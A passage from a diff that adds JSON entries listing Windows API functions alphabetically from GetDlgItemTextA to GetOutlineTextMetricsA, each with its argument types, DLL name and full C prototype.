"user32.dll", + "full_prototype": "UINT GetDlgItemTextA(HWND hDlg, int nIDDlgItem, LPTSTR lpString, int nMaxCount);" + }, + { + "function_name": "GetDlgItemTextW", + "arguments": [ + "HWND", + "int", + "LPWSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT GetDlgItemTextW(HWND hDlg, int nIDDlgItem, LPWSTR lpString, int nMaxCount);" + }, + { + "function_name": "GetDoubleClickTime", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT GetDoubleClickTime(VOID);" + }, + { + "function_name": "GetDriveTypeA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetDriveTypeA(LPCTSTR lpRootPathName);" + }, + { + "function_name": "GetDriveTypeW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetDriveTypeW(LPCWSTR root);" + }, + { + "function_name": "GetEnhMetaFileA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HENHMETAFILE GetEnhMetaFileA(LPCTSTR lpszMetaFile);" + }, + { + "function_name": "GetEnhMetaFileW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HENHMETAFILE GetEnhMetaFileW(LPCWSTR lpszMetaFile);" + }, + { + "function_name": "GetEnhMetaFileBits", + "arguments": [ + "HENHMETAFILE", + "UINT", + "LPBYTE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetEnhMetaFileBits(HENHMETAFILE hemf, UINT cbBuffer, LPBYTE lpbBuffer);" + }, + { + "function_name": "GetEnhMetaFileDescriptionA", + "arguments": [ + "HENHMETAFILE", + "UINT", + "LPTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetEnhMetaFileDescriptionA(HENHMETAFILE hemf,UINT cchBuffer, LPTSTR lpszDescription);" + }, + { + "function_name": "GetEnhMetaFileDescriptionW", + "arguments": [ + "HENHMETAFILE", + "UINT", + "LPWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetEnhMetaFileDescriptionW(HENHMETAFILE hmf, UINT size, LPWSTR buf);" + }, + { + "function_name": "GetEnhMetaFileHeader", + "arguments": [ + "HENHMETAFILE", + "UINT", + "LPENHMETAHEADER" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetEnhMetaFileHeader(HENHMETAFILE hemf, UINT cbBuffer, LPENHMETAHEADER lpemh);" + }, + { + "function_name": "GetEnhMetaFilePaletteEntries", + "arguments": [ + "HENHMETAFILE", + "UINT", + "LPPALETTEENTRY" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetEnhMetaFilePaletteEntries(HENHMETAFILE hemf, UINT cEntries,LPPALETTEENTRY lppe);" + }, + { + "function_name": "GetEnhMetaFilePixelFormat", + "arguments": [ + "HENHMETAFILE", + "DWORD", + "const PIXELFORMATDESCRIPTOR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetEnhMetaFilePixelFormat(HENHMETAFILE hemf, DWORD cbBuffer, const PIXELFORMATDESCRIPTOR *ppfd);" + }, + { + "function_name": "GetEnvironmentStringsA", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPTCH GetEnvironmentStringsA(void);" + }, + { + "function_name": "GetEnvironmentStringsW", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPWSTR GetEnvironmentStringsW(void);" + }, + { + "function_name": "GetEnvironmentVariableA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetEnvironmentVariableA(LPCTSTR lpName,LPTSTR lpBuffer,DWORD nSize);" + }, + { + "function_name": "GetEnvironmentVariableW", + "arguments": [ + "LPCWSTR", + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetEnvironmentVariableW(LPCWSTR lpName,LPWSTR lpBuffer,DWORD nSize);" + }, + { + "function_name": "GetExitCodeProcess", + "arguments": [ + "HANDLE", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetExitCodeProcess( HANDLE hProcess, LPDWORD lpExitCode);" + }, + { + "function_name": "GetExitCodeThread", + "arguments": [ + "HANDLE", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetExitCodeThread(HANDLE hThread,LPDWORD lpExitCode);" + }, + { + "function_name": "GetFileAttributesA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetFileAttributesA(LPCTSTR lpFileName);" + }, + { + "function_name": "GetFileAttributesExA", + "arguments": [ + "LPCSTR", + "GET_FILEEX_INFO_LEVELS", + "PVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetFileAttributesExA(LPCSTR lpFileName,GET_FILEEX_INFO_LEVELS fInfoLevelId,PVOID lpFileInformation);" + }, + { + "function_name": "GetFileAttributesExW", + "arguments": [ + "LPCWSTR", + "GET_FILEEX_INFO_LEVELS", + "PVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetFileAttributesExW(LPCWSTR lpFileName,GET_FILEEX_INFO_LEVELS fInfoLevelId,PVOID lpFileInformation);" + }, + { + "function_name": "GetFileAttributesW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetFileAttributesW(LPCWSTR lpFileName);" + }, + { + "function_name": "GetFileInformationByHandle", + "arguments": [ + "HANDLE", + "LPBY_HANDLE_FILE_INFORMATION", + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetFileInformationByHandle( HANDLE hFile, LPBY_HANDLE_FILE_INFORMATION lpFileInformation, );" + }, + { + "function_name": "GetFileSecurityA", + "arguments": [ + "LPCTSTR", + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR", + "DWORD", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetFileSecurityA( LPCTSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded );" + }, + { + "function_name": "GetFileSecurityW", + "arguments": [ + "LPCWSTR", + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR", + "DWORD", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetFileSecurityW( LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded );" + }, + { + "function_name": "GetFileSize", + "arguments": [ + "HANDLE", + "LPDWORD", + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetFileSize( HANDLE hFile, LPDWORD lpFileSizeHigh, );" + }, + { + "function_name": "GetFileTime", + "arguments": [ + "HANDLE", + "LPFILETIME", + "LPFILETIME", + "LPFILETIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetFileTime(HANDLE hFile,LPFILETIME lpCreationTime,LPFILETIME lpLastAccessTime,LPFILETIME lpLastWriteTime);" + }, + { + "function_name": "GetFileType", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetFileType(HANDLE hFile);" + }, + { + "function_name": "GetFileVersionInfoSizeA", + "arguments": [ + "LPTSTR", + "LPDWORD" + ], + "dll_name": "version.dll", + "full_prototype": "DWORD GetFileVersionInfoSizeA(LPTSTR lptstrFilename,LPDWORD lpdwHandle);" + }, + { + "function_name": "GetFocus", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetFocus(VOID);" + }, + { + "function_name": "GetFontData", + "arguments": [ + "HDC", + "DWORD", + "DWORD", + "LPVOID", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GetFontData(HDC hdc,DWORD dwTable, DWORD dwOffset, LPVOID lpvBuffer, DWORD cbData);" + }, + { + "function_name": "GetFontLanguageInfo", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GetFontLanguageInfo(HDC hdc);" + }, + { + "function_name": "GetForegroundWindow", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetForegroundWindow(VOID);" + }, + { + "function_name": "GetFullPathNameA", + "arguments": [ + "LPCTSTR", + "DWORD", + "LPTSTR", + "LPTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetFullPathNameA( LPCTSTR lpFileName, DWORD nBufferLength, LPTSTR lpBuffer, LPTSTR *lpFilePart );" + }, + { + "function_name": "GetFullPathNameW", + "arguments": [ + "LPCWSTR", + "DWORD", + "LPWSTR", + "LPWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetFullPathNameW(LPCWSTR lpFileName,DWORD nBufferLength,LPWSTR lpBuffer,LPWSTR *lpFilePart );" + }, + { + "function_name": "GetGlyphOutlineA", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPGLYPHMETRICS", + "DWORD", + "LPVOID", + "CONST MAT2 *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GetGlyphOutlineA(HDC hdc, UINT uChar, UINT uFormat, LPGLYPHMETRICS lpgm, DWORD cbBuffer,LPVOID lpvBuffer, CONST MAT2 * lpmat2);" + }, + { + "function_name": "GetGlyphOutlineW", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPGLYPHMETRICS", + "DWORD", + "LPVOID", + "CONST MAT2 *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GetGlyphOutlineW(HDC hdc, UINT uChar, UINT uFormat, LPGLYPHMETRICS lpgm, DWORD cbBuffer,LPVOID lpvBuffer, CONST MAT2 * lpmat2);" + }, + { + "function_name": "GetGraphicsMode", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetGraphicsMode(HDC hdc);" + }, + { + "function_name": "GetGuiResources", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetGuiResources(HANDLE hProcess, DWORD uiFlags);" + }, + { + "function_name": "GetHandleInformation", + "arguments": [ + "HANDLE", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetHandleInformation( HANDLE hObject, LPDWORD lpdwFlags );" + }, + { + "function_name": "GetICMProfileA", + "arguments": [ + "HDC", + "DWORD", + "LPTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetICMProfileA(HDC hdc, DWORD cbName, LPTSTR lpszFilename);" + }, + { + "function_name": "GetICMProfileW", + "arguments": [ + "HDC", + "LPDWORD", + "LPWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetICMProfileW(HDC hdc, LPDWORD size, LPWSTR filename);" + }, + { + "function_name": "GetIconInfo", + "arguments": [ + "HICON", + "PICONINFO" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetIconInfo(HICON hIcon,PICONINFO piconinfo);" + }, + { + "function_name": "GetInputState", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetInputState(VOID);" + }, + { + "function_name": "GetIpStatistics", + "arguments": [ + "PMIB_IPSTATS" + ], + "dll_name": "iphlpapi.dll", + "full_prototype": "DWORD GetIpStatistics(PMIB_IPSTATS pStats);" + }, + { + "function_name": "GetJobA", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "LPBYTE", + "DWORD", + "LPDWORD" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL GetJobA( HANDLE hPrinter, DWORD JobId, DWORD Level, LPBYTE pJob, DWORD cbBuf, LPDWORD pcbNeeded );" + }, + { + "function_name": "GetKBCodePage", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT GetKBCodePage(VOID);" + }, + { + "function_name": "GetKernelObjectSecurity", + "arguments": [ + "HANDLE", + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR", + "DWORD", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetKernelObjectSecurity( HANDLE Handle, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded );" + }, + { + "function_name": "GetKerningPairs", + "arguments": [ + "HDC", + "DWORD", + "LPKERNINGPAIR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GetKerningPairs(HDC hdc,DWORD nNumPairs,LPKERNINGPAIR lpkrnpair);" + }, + { + "function_name": "GetKeyboardLayout", + "arguments": [ + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HKL GetKeyboardLayout(DWORD dwLayout);" + }, + { + "function_name": "GetKeyboardLayoutList", + "arguments": [ + "int", + "HKL FAR *" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT GetKeyboardLayoutList(int nBuff, HKL FAR * lpList);" + }, + { + "function_name": "GetKeyboardLayoutNameA", + "arguments": [ + "LPTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetKeyboardLayoutNameA(LPTSTR pwszKLID);" + }, + { + "function_name": "GetKeyboardLayoutNameW", + "arguments": [ + "LPWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetKeyboardLayoutNameW(LPWSTR pwszKLID);" + }, + { + "function_name": "GetKeyboardState", + "arguments": [ + "PBYTE" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetKeyboardState(PBYTE lpKeyState);" + }, + { + "function_name": "GetKeyboardType", + "arguments": [ + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetKeyboardType(int nTypeFlag);" + }, + { + "function_name": "GetKeyNameTextA", + "arguments": [ + "LONG", + "LPTSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetKeyNameTextA(LONG lParam, LPTSTR lpString, int nSize);" + }, + { + "function_name": "GetKeyNameTextW", + "arguments": [ + "LONG", + "LPWSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetKeyNameTextW(LONG lParam, LPWSTR lpString, int nSize);" + }, + { + "function_name": "GetKeyState", + "arguments": [ + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "SHORT GetKeyState(int nVirtKey);" + }, + { + "function_name": "GetLargestConsoleWindowSize", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "COORD GetLargestConsoleWindowSize( HANDLE hConsoleOutput );" + }, + { + "function_name": "GetLastActivePopup", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetLastActivePopup(HWND hWnd);" + }, + { + "function_name": "GetLastError", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetLastError(VOID);" + }, + { + "function_name": "GetLengthSid", + "arguments": [ + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "DWORD GetLengthSid(PSID pSid );" + }, + { + "function_name": "GetLocaleInfoA", + "arguments": [ + "LCID", + "LCTYPE", + "LPTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int GetLocaleInfoA(LCID Locale,LCTYPE LCType,LPTSTR lpLCData,int cchData);" + }, + { + "function_name": "GetLocaleInfoW", + "arguments": [ + "LCID", + "LCTYPE", + "LPWSTR", + "INT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "INT GetLocaleInfoW( LCID lcid, LCTYPE lctype, LPWSTR buffer, INT len );" + }, + { + "function_name": "GetLocalTime", + "arguments": [ + "LPSYSTEMTIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID GetLocalTime( LPSYSTEMTIME lpSystemTime );" + }, + { + "function_name": "GetLogColorSpaceA", + "arguments": [ + "HCOLORSPACE", + "LPLOGCOLORSPACE", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetLogColorSpaceA(HCOLORSPACE hColorSpace, LPLOGCOLORSPACE lpbuffer, DWORD nSize);" + }, + { + "function_name": "GetLogColorSpaceW", + "arguments": [ + "HCOLORSPACE", + "LPLOGCOLORSPACEW", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetLogColorSpaceW(HCOLORSPACE a0, LPLOGCOLORSPACEW a1, DWORD a2);" + }, + { + "function_name": "GetLogicalDrives", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetLogicalDrives(VOID);" + }, + { + "function_name": "GetLogicalDriveStringsA", + "arguments": [ + "DWORD", + "LPTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetLogicalDriveStringsA( DWORD nBufferLength, LPTSTR lpBuffer );" + }, + { + "function_name": "GetLogicalDriveStringsW", + "arguments": [ + "DWORD", + "LPWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetLogicalDriveStringsW(DWORD nBufferLength,LPWSTR lpBuffer );" + }, + { + "function_name": "GetLogicalProcessorInformation", + "arguments": [ + "PSYSTEM_LOGICAL_PROCESSOR_INFORMATION", + "PDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetLogicalProcessorInformation( PSYSTEM_LOGICAL_PROCESSOR_INFORMATION Buffer, PDWORD ReturnLength);" + }, + { + "function_name": "GetMailslotInfo", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetMailslotInfo( HANDLE hMailslot, LPDWORD lpMaxMessageSize, LPDWORD lpNextSize, LPDWORD lpMessageCount, LPDWORD lpReadTimeout );" + }, + { + "function_name": "GetMapMode", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetMapMode(HDC hdc);" + }, + { + "function_name": "GetMenu", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HMENU GetMenu(HWND hWnd);" + }, + { + "function_name": "GetMenuCheckMarkDimensions", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG GetMenuCheckMarkDimensions(VOID);" + }, + { + "function_name": "GetMenuContextHelpId", + "arguments": [ + "HMENU" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetMenuContextHelpId(HMENU hmenu);" + }, + { + "function_name": "GetMenuDefaultItem", + "arguments": [ + "HMENU", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT GetMenuDefaultItem(HMENU hMenu, UINT fByPos, UINT gmdiFlags);" + }, + { + "function_name": "GetMenuItemCount", + "arguments": [ + "HMENU" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetMenuItemCount(HMENU hMenu);" + }, + { + "function_name": "GetMenuItemID", + "arguments": [ + "HMENU", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT GetMenuItemID(HMENU hMenu, int nPos);" + }, + { + "function_name": "GetMenuItemInfoA", + "arguments": [ + "HMENU", + "UINT", + "BOOL", + "LPMENUITEMINFO" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetMenuItemInfoA(HMENU hMenu, UINT uItem, BOOL fByPosition, LPMENUITEMINFO lpmii);" + }, + { + "function_name": "GetMenuItemInfoW", + "arguments": [ + "HMENU", + "UINT", + "BOOL", + "LPMENUITEMINFOW" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetMenuItemInfoW(HMENU hMenu, UINT uItem, BOOL fByPosition, LPMENUITEMINFOW lpmii);" + }, + { + "function_name": "GetMenuItemRect", + "arguments": [ + "HWND", + "HMENU", + "UINT", + "LPRECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetMenuItemRect(HWND hWnd, HMENU hMenu, UINT uItem, LPRECT lprcItem);" + }, + { + "function_name": "GetMenuState", + "arguments": [ + "HMENU", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT GetMenuState(HMENU hMenu,UINT uId, UINT uFlags);" + }, + { + "function_name": "GetMenuStringA", + "arguments": [ + "HMENU", + "UINT", + "LPTSTR", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetMenuStringA(HMENU hMenu, UINT uIDItem, LPTSTR lpString, int nMaxCount, UINT uFlag);" + }, + { + "function_name": "GetMenuStringW", + "arguments": [ + "HMENU", + "UINT", + "LPWSTR", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetMenuStringW(HMENU hMenu, UINT uIDItem, LPWSTR lpString, int nMaxCount, UINT uFlag);" + }, + { + "function_name": "GetMessageA", + "arguments": [ + "LPMSG", + "HWND", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetMessageA(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax);" + }, + { + "function_name": "GetMessageW", + "arguments": [ + "LPMSG", + "HWND", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetMessageW(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax);" + }, + { + "function_name": "GetMessageExtraInfo", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG GetMessageExtraInfo(VOID);" + }, + { + "function_name": "GetMessagePos", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetMessagePos(VOID);" + }, + { + "function_name": "GetMessageTime", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG GetMessageTime(VOID);" + }, + { + "function_name": "GetMetaFileA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HMETAFILE GetMetaFileA(LPCTSTR lpszFile);" + }, + { + "function_name": "GetMetaFileW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HMETAFILE GetMetaFileW(LPCWSTR lpszMetaFile);" + }, + { + "function_name": "GetMetaFileBitsEx", + "arguments": [ + "HMETAFILE", + "UINT", + "LPVOID" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetMetaFileBitsEx(HMETAFILE hmf, UINT nSize, LPVOID lpvData);" + }, + { + "function_name": "GetMetaRgn", + "arguments": [ + "HDC", + "HRGN" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetMetaRgn(HDC hdc, HRGN hrgn);" + }, + { + "function_name": "GetMiterLimit", + "arguments": [ + "HDC", + "PFLOAT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetMiterLimit(HDC hdc, PFLOAT peLimit);" + }, + { + "function_name": "GetModuleFileNameA", + "arguments": [ + "HMODULE", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetModuleFileNameA( HMODULE hModule, LPTSTR lpFilename, DWORD nSize );" + }, + { + "function_name": "GetModuleFileNameW", + "arguments": [ + "HMODULE", + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetModuleFileNameW ( HMODULE hModule, LPWSTR lpFileName, DWORD size );" + }, + { + "function_name": "GetModuleHandleA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HMODULE GetModuleHandleA( LPCTSTR lpModuleName );" + }, + { + "function_name": "GetModuleHandleW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HMODULE GetModuleHandleW( LPCWSTR module );" + }, + { + "function_name": "GetNamedPipeHandleStateA", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetNamedPipeHandleStateA( HANDLE hNamedPipe, LPDWORD lpState, LPDWORD lpCurInstances, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout, LPTSTR lpUserName, DWORD nMaxUserNameSize );" + }, + { + "function_name": "GetNamedPipeHandleStateW", + "arguments": [ + "HANDLE", + "PDWORD", + "PDWORD", + "PDWORD", + "PDWORD", + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetNamedPipeHandleStateW(HANDLE hNamedPipe,PDWORD lpState,PDWORD lpCurInstances,PDWORD lpMaxCollectionCount,PDWORD lpCollectDataTimeout,LPWSTR lpUserName,DWORD nMaxUserNameSize );" + }, + { + "function_name": "GetNamedPipeInfo", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetNamedPipeInfo( HANDLE hNamedPipe, LPDWORD lpFlags, LPDWORD lpOutBufferSize, LPDWORD lpInBufferSize, LPDWORD lpMaxInstances );" + }, + { + "function_name": "GetNearestColor", + "arguments": [ + "HDC", + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "COLORREF GetNearestColor(HDC hdc, COLORREF crColor);" + }, + { + "function_name": "GetNearestPaletteIndex", + "arguments": [ + "HPALETTE", + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetNearestPaletteIndex(HPALETTE hpal, COLORREF crColor);" + }, + { + "function_name": "GetNextDlgGroupItem", + "arguments": [ + "HWND", + "HWND", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetNextDlgGroupItem(HWND hDlg, HWND hCtl, BOOL bPrevious);" + }, + { + "function_name": "GetNextDlgTabItem", + "arguments": [ + "HWND", + "HWND", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetNextDlgTabItem(HWND hDlg, HWND hCtl, BOOL bPrevious);" + }, + { + "function_name": "GetNextWindow", + "arguments": [ + "HWND", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetNextWindow(HWND hWnd, UINT wCmd);" + }, + { + "function_name": "GetNumaAvailableMemoryNode", + "arguments": [ + "UCHAR", + "PULONGLONG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetNumaAvailableMemoryNode(UCHAR Node,PULONGLONG AvailableBytes);" + }, + { + "function_name": "GetNumberFormatA", + "arguments": [ + "LCID", + "DWORD", + "LPCTSTR", + "CONST NUMBERFMT *", + "LPTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int GetNumberFormatA( LCID Locale, DWORD dwFlags, LPCTSTR lpValue, CONST NUMBERFMT * lpFormat, LPTSTR lpNumberStr, int cchNumber );" + }, + { + "function_name": "GetNumberFormatW", + "arguments": [ + "LCID", + "DWORD", + "LPCWSTR", + "const NUMBERFMTW*", + "LPWSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int GetNumberFormatW( LCID lcid, DWORD dwFlags, LPCWSTR lpszValue, const NUMBERFMTW* lpFormat, LPWSTR lpNumberStr, int cchOut );" + }, + { + "function_name": "GetNumberOfConsoleInputEvents", + "arguments": [ + "HANDLE", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetNumberOfConsoleInputEvents( HANDLE hConsoleInput, LPDWORD lpcNumberOfEvents );" + }, + { + "function_name": "GetNumberOfConsoleMouseButtons", + "arguments": [ + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetNumberOfConsoleMouseButtons( LPDWORD lpNumberOfMouseButtons );" + }, + { + "function_name": "GetNumberOfEventLogRecords", + "arguments": [ + "HANDLE", + "PDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetNumberOfEventLogRecords( HANDLE hEventLog, PDWORD NumberOfRecords );" + }, + { + "function_name": "GetObjectA", + "arguments": [ + "HGDIOBJ", + "int", + "LPVOID" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetObjectA(HGDIOBJ hgdiobj, int cbBuffer, LPVOID lpvObject);" + }, + { + "function_name": "GetObjectW", + "arguments": [ + "HGDIOBJ", + "int", + "LPVOID" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetObjectW(HGDIOBJ hgdiobj, int cbBuffer, LPVOID lpvObject);" + }, + { + "function_name": "GetObjectType", + "arguments": [ + "HGDIOBJ" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GetObjectType(HGDIOBJ h);" + }, + { + "function_name": "GetOEMCP", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetOEMCP(VOID);" + }, + { + "function_name": "GetOldestEventLogRecord", + "arguments": [ + "HANDLE", + "PDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetOldestEventLogRecord( HANDLE hEventLog, PDWORD OldestRecord );" + }, + { + "function_name": "GetOpenClipboardWindow", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetOpenClipboardWindow(VOID);" + }, + { + "function_name": "GetOpenFileNameA", + "arguments": [ + "LPOPENFILENAME" + ], + "dll_name": "comdlg32.dll", + "full_prototype": "BOOL GetOpenFileNameA(LPOPENFILENAME lpofn);" + }, + { + "function_name": "GetOutlineTextMetricsA", + "arguments": [ + "HDC", + "UINT", + "LPOUTLINETEXTMETRIC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetOutlineTextMetricsA(HDC hdc, UINT cbData, LPOUTLINETEXTMETRIC lpOTM);" + }, + { + "function_name": "GetOutlineTextMetricsW", + "arguments": [ + "HDC", + "UINT", + "LPOUTLINETEXTMETRICW" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetOutlineTextMetricsW(HDC hdc, UINT cbData, LPOUTLINETEXTMETRICW lpOTM);" + }, + { + 